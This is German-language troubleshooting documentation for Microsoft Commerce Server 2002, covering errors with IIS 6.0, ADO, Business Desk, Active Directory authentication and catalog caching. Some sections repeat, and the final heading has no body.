// copy Recordset data into DataSet
DataSet ds = new DataSet();
OleDbDataAdapter myLoader = new OleDbDataAdapter();
myLoader.Fill(ds, rs, "Catalogs");


Windows.NETServer und ADODB.Connection.2.5 erzeugen einen Fehler

Feedback zu dieser Seite senden Commerce Server 2002

Windows .NET Server und ADODB.Connection.2.5 erzeugen einen Fehler

Wenn Sie Windows .NET Server verwenden, vermeiden Sie folgenden Code für eine Lösungssite:

Server.CreateObject("ADODB.Connection.2.5")

Wenn Sie diesen Code verwenden, zeigt die Site den folgenden Fehlercode an:

Server object, ASP 0177 (0x800401F3) Invalid ProgID

Lösung

Windows .NET Server führt ActiveX Data Objects (ADO) 2.7 aus. ADO 2.7 stellt keine für ADO 2.5 bestimmte Verbindung her. Um diese Inkompatibilität zu umgehen, ändern Sie den Code wie folgt:

Server.CreateObject("ADODB.Connection")


Bei Verwendung von IIS6.0 wird die Verarbeitung von ASP-Seiten deaktiviert

Feedback zu dieser Seite senden Commerce Server 2002

Bei Verwendung von IIS 6.0 wird die Verarbeitung von ASP-Seiten deaktiviert

Wenn Sie Internetinformationsdienste (IIS) 6.0 verwenden, ist das Verarbeiten von ASP-Seiten standardmäßig deaktiviert. Dieses Problem besteht nicht mehr, wenn Sie das IIS Lockdown-Tool starten, die ASP-Seitenverarbeitung aktivieren und IIS neu starten.

Mit dem IIS Lockdown-Tool können Sie nicht nur dieses Problem lösen, sondern auch alle nicht benötigten Verknüpfungen aus dem Internetdienste-Manager entfernen (z. B. Skripts, Bilder, iishelp, iisadmin und msadc).

Lösung

  1. Sie können das IIS Lockdown-Tool von der Seite http://go.microsoft.com/fwlink/?LinkId=5592 downloaden.
  2. Starten Sie IIS neu.


Bei Verwendung von IIS6.0 mit Lösungssites wird ein Fehler erzeugt

Feedback zu dieser Seite senden Commerce Server 2002

Bei Verwendung von IIS 6.0 mit Lösungssites wird ein Fehler erzeugt

Wenn Sie Internetinformationsdienste (IIS) 6.0 (anstatt von IIS 5.0) verwenden und auf einige ASP-Seiten Ihrer Site zugegriffen wird, tritt möglicherweise der folgende Fehler auf:

Error Type:
Active Server Pages, ASP 0131 (0x80004005)
The Include file '../include/helper.asp' cannot contain '..' to indicate the parent directory.
/svt/account/login.asp, line 10

Bei ASP sind in IIS 6.0 in den Include-Anweisungen keine '..' zulässig. Auf vielen ASP-Seiten der Retail-Site sowie der Supplier-Site werden '..' verwendet.

Lösung

Verwenden Sie IIS 6.0 nicht mit Sites, die unter Verwendung der Retail-, Supplier- oder leeren Lösungssites erstellt wurden.


Verwenden der 64-Bit-Währung zur Sicherstellung der Verfügbarkeit

Füllt ein Benutzer seinen Warenkorb mit Waren im Wert von über 10 Millionen Währungseinheiten, kann der Warenkorb nicht mehr verwendet werden. Die folgende Meldung wird angezeigt:

"Überlauf bei der Verarbeitung von '_product_list_price'. Weitere Informationen über Bereichsausweitung finden Sie in der Dokumentation."

Auch alle nachfolgend durch diesen Benutzer erteilten Bestellungen werden nicht ausgeführt.

Lösung

Aktualisieren Sie die Währungsunterstützung im Pipeline-Editor von 32 Bit auf 64 Bit.

So stellen Sie die 64-Bit-Währung ein

  1. Klicken Sie auf Start, zeigen Sie auf Programme, dann auf Microsoft Commerce Server 2002, und klicken Sie auf Pipeline-Editor.
  2. Klicken Sie auf der Symbolleiste auf Öffnen, und navigieren Sie dann zum Speicherort der Pipelinedatei. Doppelklicken Sie auf die Pipelinedatei, um diese zu öffnen.
  3. Klicken Sie im Menü Bearbeiten auf Eigenschaften.
  4. Wählen Sie im Dialogfeld Pipelineeigenschaften im Feld Währungsmodus die Option Währung (hohe Genauigkeit) aus, und klicken Sie dann auf OK.

    Hinweis

    • Damit eine Pipeline im Modus mit hoher Genauigkeit ausgeführt werden kann, darf sie keine Pipelinekomponenten aus Microsoft Site Server 3.0 Commerce Edition enthalten. Weitere Informationen zu den Pipelinekomponenten aus Site Server 3.0 finden Sie unter Pipeline Component Reference (englisches Thema).
  5. Starten Sie den bzw. die Webserver neu.

Siehe auch

Bestellungen im Wert von über 10 Millionen Währungseinheiten werden nicht ausgeführt


Bestellungen im Wert von über 10Millionen Währungseinheiten werden nicht ausgeführt

Feedback zu dieser Seite senden Commerce Server 2002

Bestellungen im Wert von über 10 Millionen Währungseinheiten werden nicht ausgeführt

Füllt ein Benutzer seinen Warenkorb mit Waren im Wert von über 10 Millionen Währungseinheiten, kann der Warenkorb nicht mehr verwendet werden. Die folgende Meldung wird angezeigt:

"Überlauf bei der Verarbeitung von '_product_list_price'. Weitere Informationen über Bereichsausweitung finden Sie in der Dokumentation."

Auch alle nachfolgend durch diesen Benutzer erteilten Bestellungen werden nicht ausgeführt.

Lösung

Damit auch Bestellungen im Wert von über 10 Millionen Währungseinheiten ausgeführt werden, muss die Währungsunterstützung im Pipeline-Editor von 32 Bit auf 64 Bit aktualisiert werden.

So stellen Sie die 64-Bit-Währung ein

  1. Klicken Sie auf Start, zeigen Sie auf Programme, dann auf Microsoft Commerce Server 2002, und klicken Sie auf Pipeline-Editor.
  2. Klicken Sie auf der Symbolleiste auf Öffnen, und navigieren Sie dann zum Speicherort der Pipelinedatei. Doppelklicken Sie auf die Pipelinedatei, um diese zu öffnen.
  3. Klicken Sie im Menü Bearbeiten auf Eigenschaften.
  4. Wählen Sie im Dialogfeld Pipelineeigenschaften im Feld Währungsmodus die Option Währung (hohe Genauigkeit) aus, und klicken Sie dann auf OK.

    Hinweis

    • Damit eine Pipeline im Modus mit hoher Genauigkeit ausgeführt werden kann, darf sie keine Pipelinekomponenten aus Microsoft Site Server 3.0 Commerce Edition enthalten. Weitere Informationen zu den Pipelinekomponenten aus Site Server 3.0 finden Sie unter Pipeline Component Reference (englisches Thema).
  5. Starten Sie den bzw. die Webserver neu.


Aktivieren von "Computer für Delegierungszwecke vertrauen" für Webserver

Active Server Pages (ASP), die auf einem Webserver ausgeführt werden, können Benutzerkennwörter, die im Verzeichnisdienst Active Directory gespeichert sind, nur dann einrichten und zurücksetzen, wenn der Webserver für Delegierungszwecke als vertrauenswürdig betrachtet wird.

Lösung

Um diese Option zu aktivieren, gehen Sie in Active Directory zum Eigenschaftenblatt für das Computerkonto, und überprüfen Sie, ob das Kontrollkästchen Computer für Delegierungszwecke vertrauen aktiviert ist.

So aktivieren Sie die Option "Computer für Delegierungszwecke vertrauen"

  1. Klicken Sie auf Start, zeigen Sie auf Programme und auf Verwaltung, und klicken Sie dann auf Active Directory-Benutzer und -Computer.
  2. Navigieren Sie zu dem Computerkonto, das eingestellt werden muss, z. B. Active Directory-Benutzer und -Computer/<Domänenname>/Computer/<Computername>.
  3. Doppelklicken Sie in der Liste im rechten Bereich auf den Computernamen. Aktivieren Sie auf der Registerkarte Konto das Kontrollkästchen Konto wird für Delegierungszwecke vertraut, und klicken Sie dann auf OK.

Möglicherweise ist es erforderlich, den zugeordneten Webserver neu zu starten, damit die Einstellung wirksam wird.


OLAP/SQLServer benötigt WindowsNT-Authentifizierung

Feedback zu dieser Seite senden Commerce Server 2002

OLAP/SQL Server benötigt Windows NT-Authentifizierung

Wenn Sie von einer anderen Domäne bzw. Arbeitsgruppe eine Remoteverbindung zu einem Computer herstellen, auf dem SQL Server ausgeführt wird, tritt ein Fehler in Commerce Server Site Packager auf, wenn versucht wird, eine OLE DB-Verbindung für OLAP (Online Analytical Processing) für das Data Warehouse aufzubauen.

Lösung

Für die OLE DB-Verbindung für OLAP (Online Analytical Processing) im Data Warehouse ist eine Microsoft Windows NT-Authentifizierung erforderlich.

Diese richten Sie ein, indem Sie auf dem SQL Server-Computer der Arbeitsgruppe ein identisches Konto erstellen, z. B. <Computername>\Freigabe, sodass <Computername>\Freigabe eine Verbindung zum Data Warehouse herstellen kann.

Hinweis

  • Wenn der SQL Server-Computer sich in einer vertrauenswürdigen Domäne befindet, muss das Domänenkonto Teil des OLAP-Verwaltungskontos sein.

Wenn das Commerce Server Business Desk-Modul auf die Daten in allgemeinen Namen in Active Directory angewiesen ist, kann eine Zeichenfolge höchstens 64 Zeichen lang sein. Außerdem umfassen in Active Directory gespeicherte Namen von Organisationen einen Gruppennamen (entweder _Admingroup, der 11 Zeichen lang ist, oder _Usergroup, der 10 Zeichen lang ist).

Siehe auch

Aktivieren der Windows-Authentifizierung

Lösung

Beachten Sie beim Speichern des Namens einer Organisation in Active Directory, dass die Kombination aus Organisationsname und Gruppenname höchstens 64 Zeichen lang sein kann. Stellen Sie sicher, dass der Name nicht mehr Zeichen enthält.


Snap-In konnte nicht initialisiert werden

Unter Umständen erhalten Sie die Fehlermeldung "Snap-In konnte nicht initialisiert werden", wenn Sie versuchen, den Commerce Server-Manager bei folgender Konfiguration zu öffnen: vollständig installierter Commerce Server 2002 auf zwei Knoten eines Clusters, Direct Mail und Vorhersagedienst sind als Clusterressourcen eingerichtet, und SQL Server befindet sich nicht auf einem Cluster.

Lösung

Starten Sie den Computer neu, den Sie über Terminaldienste zu verwalten versuchen.


Anzeigen bzw. Preisnachlässe werden in der Website nicht angezeigt

Die von Ihnen erstellten und in der Website bereitgestellten Anzeigen bzw. Preisnachlässe werden nicht angezeigt.

Lösung

Zur Problembehandlung stehen Ihnen zwei Möglichkeiten zur Verfügung:

  • Verwenden der Datei "TraceScores.asp"
  • Verwenden der Datei "DumpContentList.asp"

So verwenden Sie die Datei "TraceScores.asp"

  1. Kopieren Sie die Datei TraceScores.asp aus Programme\Microsoft Commerce Server\SDK\Samples\Marketing\Debug in das virtuelle Verzeichnis der Site.
  2. Ändern Sie den Code zur Erstellung des ContentSelector-Objekts, indem Sie eine Zeile für die Datei TraceScores.asp hinzufügen.
  3. Fügen Sie eine Zeile hinzu, die die Eigenschaft Trace auf True einstellt.
  4. Fügen Sie eine Zeile hinzu, die die Unterroutine TraceScores aufruft.

Beispielcode

Im folgenden Beispielcode für die Datei TraceScores.asp sind die hinzugefügten Zeilen fett formatiert:

<!-- #include file="TraceScores.asp" -->

<%
    ' Create a ContentSelectorObject
    Set CSO = Server.CreateObject("Commerce.ContentSelector")
    CSO.Trace = true
    ' Use the GetContent method to get some content. Use the dictionary
    ' previously created in the Global.asa and referenced through the
    ' Application collection.
    Set Ads = CSO.GetContent(Application("CSFAdsContext"))
    ' Ads is a SimpleList containing the selected content.
    ' Write the content to the page, if any.
    For Each Ad in Ads
        Response.Write(Ad)
    Next
    Response.Write("<P>")
    Call TraceScores(CSO)
%>

Ausgabebeispiel

Wenn die Ablaufverfolgung aktiviert ist, werden sämtliche Änderungen an Ergebnissen von Inhaltselementen nachverfolgt. Die von der Datei TraceScores.asp gefundenen Änderungen an der Anzeige sind im folgenden Beispiel fett formatiert:

ad: Volcano erupts (item_id=1) score: 1.028331

Commerce.CSFAdvertisingNeedOfDelivery,=1.89,Paid Ad Need of Delivery.
Commerce.CSFHistoryPenalty,*0.54,Reselect penalty applied

ad: Cuckoo clock (item_id=2) score: 1.112223

Commerce.CSFAdvertisingNeedOfDelivery,=1.89,Paid Ad Need of Delivery.
Commerce.CSFHistoryPenalty,*0.59,Reselect penalty applied

ad: MSPress (item_id=3) score: 1.012156

Commerce.CSFAdvertisingNeedOfDelivery,=2.02,Paid Ad Need of Delivery.
Commerce.CSFHistoryPenalty,*0.50,Reselect penalty applied

ad: Trey Research (item_id=4) score: 1

Commerce.CSFAdvertisingNeedOfDelivery,=1.00,House Ad Need of Delivery (Weight)

Wenn die erwartete Anzeige nicht in der Ablaufverfolgung angezeigt wird, ist sie nicht in den Cache geladen worden. Veröffentlichen Sie die Kampagne erneut im Modul "Kampagnen veröffentlichen" in Commerce Server Business Desk. Sollte die Anzeige immer noch nicht erscheinen, führen Sie folgende Aktionen durch:

  • Überprüfen Sie das Anfangs- und Enddatum für die Anzeige.
  • Überprüfen Sie, ob Kunde, Kampagne und Kampagnenartikel aktiviert sind.

Hinweis

  • Wenn das TraceScores-Flag auf On gesetzt ist, lässt die Leistung der CSF-Pipelines (Content Selection Framework) erheblich nach.

Verwenden der Datei "DumpContentList.asp"

Bei der Datei DumpContentList.asp handelt es sich um ein weiteres Tool zur Behandlung von Problemen mit Threads und Preisnachlassfunktionen. Mithilfe dieses Tools werden sämtliche Anzeigen bzw. Preisnachlässe, die zurzeit in den Arbeitsspeicher geladen sind, und deren Eigenschaften angezeigt. Des Weiteren wird das Schema des ContentList-Objekts angezeigt. Das Tool kann zum Sichern der Inhalte entweder eines ContentList-Objekts oder eines ContentListFactory-Objekts verwendet werden.

So verwenden Sie die Datei "DumpContentList.asp"

  1. Kopieren Sie die Datei DumpContentList.asp aus Programme\Microsoft Commerce Server\SDK\Samples\Marketing\Debug in das virtuelle Verzeichnis der Site.
  2. Ändern Sie den Code zur Erstellung des ContentSelector-Objekts, indem Sie eine Zeile für die Datei DumpContentList.asp hinzufügen.
  3. Fügen Sie eine Zeile hinzu, die die Unterroutine DumpContentList aufruft.

Beispielcode

Im folgenden Beispiel sind die hinzugefügten Zeilen fett formatiert:

<!-- #include file="DumpContentList.asp" -->

<%
    ' Create a ContentSelectorObject
    Set CSO = Server.CreateObject("Commerce.ContentSelector")
    ' Use the GetContent method to get some content. Use the dictionary
    ' previously created in the Global.asa and referenced through the
    ' Application collection.
    Set Ads = CSO.GetContent(Application("CSFAdsContext"))
    ' Ads is a SimpleList containing the selected content.
    ' Write the content to the page, if any.
    For Each Ad in Ads
        Response.Write(Ad)
    Next
    Response.Write("<P>")
    Call DumpContentList(CSO.Value("Order").Value("_Content"))
%>

Siehe auch

Kampagnenartikel werden nicht wie erwartet in der Website angezeigt

Tracing and debugging (englisches Thema)


Unvollständige Katalogdaten nach Importfehler

Wenn Sie einen Katalog importieren und es zu einer Unterbrechung (einem Fehler) kommt, während das Skript ausgeführt wird, werden u. U. nicht alle Katalogdaten importiert. Es kann beispielsweise ein Fehler auftreten, wenn der Webserver während des Katalogdatenimports keine Verbindung zum SQL Server herstellen kann.

Lösung

Überprüfen Sie die Ereignisprotokolldateien, um die Ursache für die Unterbrechung festzustellen (z. B. eine unzuverlässige Verbindung mit dem SQL Server). Beheben Sie die Ursache für die Unterbrechung, und führen Sie den Katalogimport erneut aus.


Benutzer können den Websitekatalog nicht durchsuchen

Mitglieder der Gruppe ctlg_CatalogReaderRole müssen db_owner-Berechtigungen für die Datenbank MSCS_CatalogScratch besitzen. Die Datenbank MSCS_CatalogScratch ist eine temporäre Datenbank ohne persistente Daten. Hierbei handelt es sich nicht um ein Sicherheitsproblem. Wenn Besucher ohne Zugangsberechtigung zur Datenbank MSCS_CatalogScratch Ihre Site besuchen, können diese den Produktkatalog nicht durchsuchen.

Lösung

Führen Sie das Skript CatalogSecurityRoles.sql aus, und gewähren Sie den Benutzern die erforderlichen Zugriffsrechte.


Der Katalogcache lässt sich nicht aktualisieren

Wenn Sie in Business Desk im Katalog-Editor auf Aktualisieren klicken, wird u. U. die folgende Fehlermeldung angezeigt: "Fehler beim Aktualisieren des Katalogcaches für <BR><BR><B>%1</B>."

Lösung

Wenn die Site von Commerce Server 2000 migriert wurde, kopieren Sie die aktualisierte Datei BDRefresh.asp von der aktualisierten Retail-Site in Commerce Server 2002.

Darüber hinaus sind die Caches möglicherweise nicht korrekt konfiguriert. Überprüfen Sie die Konfiguration, und vergleichen Sie die Benennung und die Konfiguration der Caches mit derjenigen, die in der Retail-Lösungssite verwendet wird.


Anmelden an einer Webanwendung als Administrator ist nicht möglich

Sie können sich zwar bei Commerce Server Business Desk als Administrator anmelden, nicht aber als Administrator bei einer anderen Commerce Server-Anwendung.

Lösung

Die Ursache dieses Problems liegt in einem Konflikt zwischen Business Desk- und Windows-Domänennamen. Um dieses Problem zu umgehen, erstellen Sie Benutzer in Business Desk und weisen diesen dann Zugriffsberechtigungen zu, indem Sie sie den entsprechenden Domänengruppen hinzufügen. Benutzer, die auf Business Desk zugreifen müssen, können als Domänenadministratoren hinzugefügt werden. Sie haben dann mit ihren Standardbenutzernamen Zugriff auf Business Desk.


CommerceServer unterbricht beim Ändern des Computernamens seine Funktionen

Feedback zu dieser Seite senden Commerce Server 2002

Commerce Server unterbricht beim Ändern des Computernamens seine Funktionen

Wenn Sie den Computernamen ändern, findet SQL Server möglicherweise die Verwaltungsdatenbank nicht automatisch. Dann wird die folgende Meldung angezeigt:

"2735 CA_ADMIN_ValidateDB"

Lösung

Ändern Sie im Commerce Server-Manager die erforderlichen Einstellungen für die Verbindungszeichenfolge, damit der neue Computername verwendet wird. Welche Einstellungen Sie ändern, hängt von der für die Bereitstellung von Commerce Server verwendeten Topologie ab. Ändern Sie die Felder in der Verwaltungsdatenbank manuell auf den neuen Namen.

Außerdem müssen Sie die aktuelle SQL Server-Registrierung löschen und anschließend eine neue Instanz von SQL Server registrieren. Sie müssen Ihren SQL Server-Benutzernamen und das Kennwort für die Verwaltungsdatenbank ändern. Dazu löschen Sie die aktuelle SQL Server-Registrierung und registrieren dann eine neue Instanz von SQL Server. Beachten Sie die folgenden Schritte zur Registrierung einer neuen SQL Server-Instanz.

So ändern Sie die SQL Server-Anmeldung und das Kennwort für die Verwaltungsdatenbank

  1. Klicken Sie in der Konsole von Microsoft Commerce Server-Manager mit der rechten Maustaste auf Commerce Server-Manager, und klicken Sie dann auf Eigenschaften.
  2. Klicken Sie im Dialogfeld Eigenschaften von Commerce Server-Manager auf der Registerkarte Verwaltungsdatenbank auf Ändern.

    Das Dialogfeld Datenverknüpfungseigenschaften wird angezeigt.

  3. Sobald Sie die notwendigen Änderungen im Dialogfeld Datenverknüpfungseigenschaften vorgenommen haben, klicken Sie auf OK.

Hinweis

  • Anweisungen zu den Einstellungen im Dialogfeld Datenverknüpfungseigenschaften erhalten Sie, indem Sie in dem Dialogfeld auf Hilfe klicken, um die Hilfedatei für Microsoft Datenverknüpfung zu öffnen.


Das Ändern des Datumstrennzeichens des Systems verursacht einen Fehler

Wenn Sie das Datumstrennzeichen des Systems auf ein Zeichen ändern, bei dem es sich nicht um einen Schrägstrich (/), einen Punkt (.) oder einen Strich (-) handelt, und dann versuchen, Commerce Server Business Desk zu öffnen, wird die folgende Fehlermeldung angezeigt:

"Fehler beim Laden eines Teils von Business Desk."

Dieser Fehler tritt nur nach einem Neustart von Internetinformationsdienste (IIS) 5.0 auf.

Lösung

Schließen Sie Business Desk, und ändern Sie das Datumstrennzeichen des Systems wieder auf einen Schrägstrich (/).

So ändern Sie das Datumstrennzeichen des Systems

  1. Klicken Sie auf Start, zeigen Sie auf Einstellungen, und klicken Sie dann auf Systemsteuerung.
  2. Doppelklicken Sie auf Ländereinstellungen, und klicken Sie dann auf die Registerkarte Datum.
  3. Wählen Sie im Feld Datumstrennzeichen die Option / aus, und klicken Sie dann auf OK.

    Vorsicht

    • Bei einem Neustart von Internetinformationsdienste (IIS) wird die Ausführung der Website vorübergehend unterbrochen. Überprüfen Sie, ob ein Neustart von IIS erforderlich ist, bevor Sie fortfahren. Weitere Informationen finden Sie unter Neustarten von IIS und Commerce Server-Diensten.
  4. Starten Sie IIS neu.
  5. Öffnen Sie Business Desk wieder.

So starten Sie IIS neu

  1. Klicken Sie auf Start, zeigen Sie auf Programme, zeigen Sie auf Verwaltung, und klicken Sie dann auf Internetdienste-Manager.
  2. Klicken Sie auf das Additionszeichen (+), um die Servernamengruppe zu erweitern.
  3. Klicken Sie mit der rechten Maustaste auf Standardwebsite, und klicken Sie dann auf Beenden.
  4. Klicken Sie mit der rechten Maustaste auf Standardwebsite, und klicken Sie dann auf Starten.

IIS wird neu gestartet, und Sie können Business Desk wieder öffnen.


Suche in der Hilfe ergibt keine Suchergebnisse

Bei der Suche nach Wörtern bzw. Themen in der Hilfe zu Commerce Server Business Desk werden keine Suchergebnisse angezeigt. Die folgende Fehlermeldung wird angezeigt:

"Keine Themen gefunden."

Lösung

Starten Sie den Indexdienst auf dem Webserver. Der Indexdienst sollte stets auf Autostart gesetzt sein, da es zwischen dem Starten des Dienstes und der Bereitstellung der Business Desk-Hilfe zu einer Zeitverzögerung kommen kann.

Weitere Informationen finden Sie unter Indexdienst in der Hilfe zu Windows 2000 Server.


Manche DLLs unterstützen keine Selbstregistrierung

Bei einigen DLL-Dateien (Dynamic Link Library) treten Fehler auf, wenn Sie versuchen, für diese eine Selbstregistrierung mithilfe der Datei Regsvr32.exe durchzuführen. Dabei handelt es sich um die folgenden Dateien:

BizDataManager.dll
CalcRenderer.dll
CatalogSets.dll
CatalogVendorAssociation.dll
CSDWDTSCatalogImp.dll
CSDWDTSDelete.dll
CSDWDTSIpResolution.dll
CSDWDTSLogImports.dll
CSDWDTSPostImport.dll
CSDWDTSSyncAdmin.dll
CSDWDTSTransImport.dll
DictionaryXMLTransforms.dll
DWMBToAdmin.dll
DWSyncAdmin.dll
Dyntablemarshaler.dll
GenericPup.dll
MSCSCfg.dll
GenericPup.dll
Regionaltax.dll
ReportRenderer.dll
Requisition.dll
Shipmgr.dll
Splitter.ocx


Erstellen einer neuen Verwaltungsdatenbank

Sie müssen entweder einen Rollback zu einer vorherigen Verwaltungsdatenbank ausführen oder eine neue Verwaltungsdatenbank erstellen, aber es ist nicht möglich, Commerce Server neu zu installieren. Auch die Ausführung von Commerce Server-Setup im Reparaturmodus führt nicht zu einer Neuinstallation von Commerce Server.

Lösung

Erstellen Sie zunächst eine neue Datenbank mit der Bezeichnung MSCS_Admin, und führen Sie dann für diese Datenbank unter Verwendung von SQL Query Analyzer die Datei Admin_schema.sql aus. Eine neue Verwaltungsdatenbank wird erstellt. Durch die Ausführung des Skripts wird das Schema der Verwaltungsdatenbank aufgefüllt, aber es werden keine Ressourcen erstellt.

So erstellen Sie eine neue Verwaltungsdatenbank

  1. Löschen Sie gegebenenfalls die vorhandene Verwaltungsdatenbank bzw. benennen Sie sie um.
  2. Klicken Sie auf Start, zeigen Sie auf Programme, dann auf Microsoft SQL Server, und klicken Sie auf Enterprise Manager.
  3. Erweitern Sie in Enterprise Manager nacheinander Microsoft SQL Server, SQL Server-Gruppe und den Namen des Servers, auf dem die neue Verwaltungsdatenbank erstellt werden soll.
  4. Klicken Sie mit der rechten Maustaste auf Datenbanken, und klicken Sie dann auf Neue Datenbank.
  5. Klicken Sie im Dialogfeld Datenbankeigenschaften auf die Registerkarte Allgemein, und geben Sie im Feld Name die Zeichenfolge MSCS_Admin ein.
  6. Klicken Sie auf OK.

Die neue Datenbank wird nun erstellt. Führen Sie anschließend die Datei Admin_schema.sql aus.

So führen Sie die Datei "Admin_schema.sql" aus

  1. Klicken Sie in Enterprise Manager auf die Datenbank MSCS_Admin.
  2. Klicken Sie im Menü Extras auf SQL Query Analyzer.
  3. Klicken Sie im Menü Datei auf Öffnen.
  4. Wechseln Sie zu Programme\Microsoft Commerce Server, markieren Sie die Datei Admin_schema, und klicken Sie dann auf Öffnen.
  5. Klicken Sie im Menü Abfrage auf Ausführen.

Sie müssen Ihre Sites erneut entpacken und Direct Mailer mit Commerce Server-Setup neu installieren.

Hinweis

  • Unmittelbar nach der Installation der Site und bei jeder Änderung der Konfiguration der Commerce Server-Bereitstellung sollten Sie eine Sicherungskopie der Verwaltungsdatenbank anlegen und dieser einen neuen Namen geben. Anhand dieser Kopie können Sie dann jederzeit mit einem Rollback alle Änderungen rückgängig machen, die zu einem späteren Zeitpunkt vorgenommen werden.


BusinessDesk: Das Ändern des Administratorkennworts verursacht die Trennung des BusinessDesk-Clients

Feedback zu dieser Seite senden Commerce Server 2002

Business Desk: Das Ändern des Administratorkennworts verursacht die Trennung des Business Desk-Clients

Wenn Sie auf dem Server, auf dem Commerce Server Business Desk installiert ist, das Administratorkennwort ändern, werden Fehlermeldungen ausgegeben, sobald Business Desk-Clientcomputer versuchen, auf Business Desk zuzugreifen. Unter Umständen wird folgende Fehlermeldung angezeigt:

  • "Fehler beim Laden eines Teils von Business Desk."
  • "Fehler beim Laden der Business Desk-Anwendung."

Lösung

Wenn Sie auf dem Server das Administratorkennwort für Commerce Server ändern, müssen Sie auch das Kennwort in den Komponentendiensten ändern und dann die Datei Global.asa speichern.

So ändern Sie das Kennwort in den Komponentendiensten

  1. Klicken Sie auf Start, zeigen Sie auf Programme und dann auf Verwaltung. Klicken Sie anschließend auf Komponentendienste.
  2. Erweitern Sie die Knoten auf den folgenden Pfad: Komponentendienste/Computer/Arbeitsplatz/COM+-Anwendungen/Commerce-Ereignisprotokollierung.
  3. Klicken Sie mit der rechten Maustaste auf Commerce-Ereignisprotokollierung, und klicken Sie dann auf Eigenschaften.
  4. Klicken Sie im Dialogfeld Eigenschaften von Commerce-Ereignisprotokollierung auf die Registerkarte Identität, und geben Sie im Feld Kennwort das neue Kennwort ein.
  5. Geben Sie im Feld Kennwort bestätigen erneut das neue Kennwort ein, und klicken Sie dann auf OK.

Das Kennwort wird aktualisiert, und Business Desk sollte nun geöffnet werden können.

So speichern Sie die Datei "Global.asa"

  1. Wechseln Sie zum virtuellen Verzeichnis von Business Desk, z. B. C:\Inetpub\wwwroot\retailbusinessdesk.
  2. Öffnen Sie die Datei Global.asa im Editor.
  3. Zum Speichern der Kennwortänderungen klicken Sie im Menü Datei auf Speichern und dann auf Beenden.

Die Änderungen an der Datei Global.asa sind nun gespeichert. Zur Aktualisierung des geänderten Kennworts müssen sämtliche Benutzer Business Desk schließen und wieder öffnen.

Hinweis

  • Sie müssen auch das Kennwort für Commerce Server-Dienste wie den Listen-Manager, Direct Mailer und die Vorhersageressource ändern.
  • Sie müssen auch das Kennwort für Commerce Server-Dienste wie den Listen-Manager und Direct Mailer ändern.

Siehe auch

Ändern des Dienstkontos oder des Kennworts


BusinessDesk: Authentifizierungsfehler tritt auf, wenn ein neuer Benutzer zu ActiveDirectory hinzugefügt wird

Feedback zu dieser Seite senden Commerce Server 2002

Business Desk: Authentifizierungsfehler tritt auf, wenn ein neuer Benutzer zu Active Directory hinzugefügt wird

Wenn Sie Benutzerdaten in Active Directory speichern und versuchen, einen neuen Benutzer von einem Business Desk-Remoteclient hinzuzufügen, erhalten Sie möglicherweise die folgende Fehlermeldung:

"Fehler: Ungültige Benutzeranmeldeinformationen."

Dieser Fehler tritt auf, wenn der Business Desk-Remoteclient die IP-Adresse für die Business Desk-Anwendung verwendet, z. B. http://172.30.250.91/supplieradbizdesk.

Lösung

Installieren Sie den Business Desk-Client erneut auf dem Clientcomputer, indem Sie anstelle der IP-Adresse den Computernamen verwenden, z. B. http://csserver1/supplieradbizdesk.


BusinessDesk: Aktualisierte Konfiguration wird nicht wiedergegeben

Feedback zu dieser Seite senden Commerce Server 2002

Business Desk: Aktualisierte Konfiguration wird nicht wiedergegeben

Wenn Sie die Konfiguration von Commerce Server Business Desk geändert und dann die Website angehalten und wieder gestartet haben, wird Business Desk nicht mit den vorgenommenen Änderungen aktualisiert. Die Anwendung wird nicht erneut geladen, und sie verwendet nach wie vor die alten XML-Dateien.

Lösung

Nach Änderung der Konfiguration von Business Desk müssen Sie Business Desk auf dem Webserver neu starten, damit die Änderungen angezeigt werden. Dazu öffnen und speichern Sie die Datei Global.asa, wodurch sich die Uhrzeit der letzten Bearbeitung ändert und die Änderungen an der Konfiguration in Business Desk angezeigt werden.

So öffnen und speichern Sie die Datei "Global.asa"

  1. Klicken Sie auf Start, zeigen Sie auf Programme und auf Zubehör, und klicken Sie dann auf Editor.
  2. Klicken Sie im Menü Datei auf Öffnen. Navigieren Sie zur Datei Global.asa, und doppelklicken Sie auf die Datei, um sie zu öffnen. Klicken Sie im Menü Datei auf Speichern, um die Datei Global.asa zu speichern, ohne Änderungen vorzunehmen.
  3. Klicken Sie im Menü Datei auf Beenden, um den Editor zu beenden.

Die Änderungen an der Konfiguration von Business Desk sind nun gespeichert. Damit die Konfigurationsänderungen angezeigt werden, müssen sämtliche Business Desk-Benutzer Business Desk schließen und wieder öffnen.


BusinessDesk: Daten werden nicht im Modul "Listen-Manager" bzw. "Benutzer" angezeigt

Feedback zu dieser Seite senden Commerce Server 2002

Business Desk: Daten werden nicht im Modul "Listen-Manager" bzw. "Benutzer" angezeigt

Die Verwendung des Benutzer- und Organisationsmoduls zur Durchführung von Massenaktualisierungen bzw. zur Ausführung von Vorgängen des Typs Suchen nach in umfangreichen Benutzerdatasets führt während des Vorgangs möglicherweise zu einem Timeout.

Auch wenn Sie das Modul "Listen-Manager" in umfangreichen Datasets zur Erstellung einer Benutzerliste verwenden, kann dieser Timeoutfehler auftreten.

Zu einem Timeout, bei dem Sie unter Umständen die Daten nicht mehr anzeigen können, kann es aufgrund verschiedener Faktoren kommen. Einer dieser Faktoren ist möglicherweise die große Anzahl an Entitäten, die abgerufen werden.

Als weitere Faktoren kommen die Folgenden in Frage:

  • Serverkonfiguration (verwenden Sie nur Active Directory, nur SQL oder Active Directory und SQL?)
  • Netzwerkbandbreite
  • Systemkonfiguration (schnelle oder langsame Computer)

Lösung

Möglicherweise müssen Sie Massenaktualisierungen mithilfe eines benutzerdefinierten Skripts für OLE DB Provider für Commerce Server vornehmen. Benutzerdefinierte Skripts unterliegen nicht den Einschränkungen durch die Session.Timeout-Eigenschaft für das ASP-interne Session-Objekt. Sie können die Session.Timeout-Eigenschaft wie folgt einstellen: <% Session.Timeout = 10 %>. Dadurch wird das Timeout für Sitzungen auf 10 Minuten eingestellt. Der Maximalwert für die Session.Timeout-Eigenschaft beträgt 24 Stunden.

Weitere Informationen zur Erstellung benutzerdefinierter Skripts für Massenvorgänge finden Sie unter Code to Perform Bulk Operations Using ADO and SQL (englisches Thema).

Siehe auch

WaitOnOperation (englisches Thema)


BusinessDesk: "Bibliothek ist nicht registriert" oder andere Probleme mit "regexp"

Feedback zu dieser Seite senden Commerce Server 2002

Business Desk: "Bibliothek ist nicht registriert" oder andere Probleme mit "regexp"

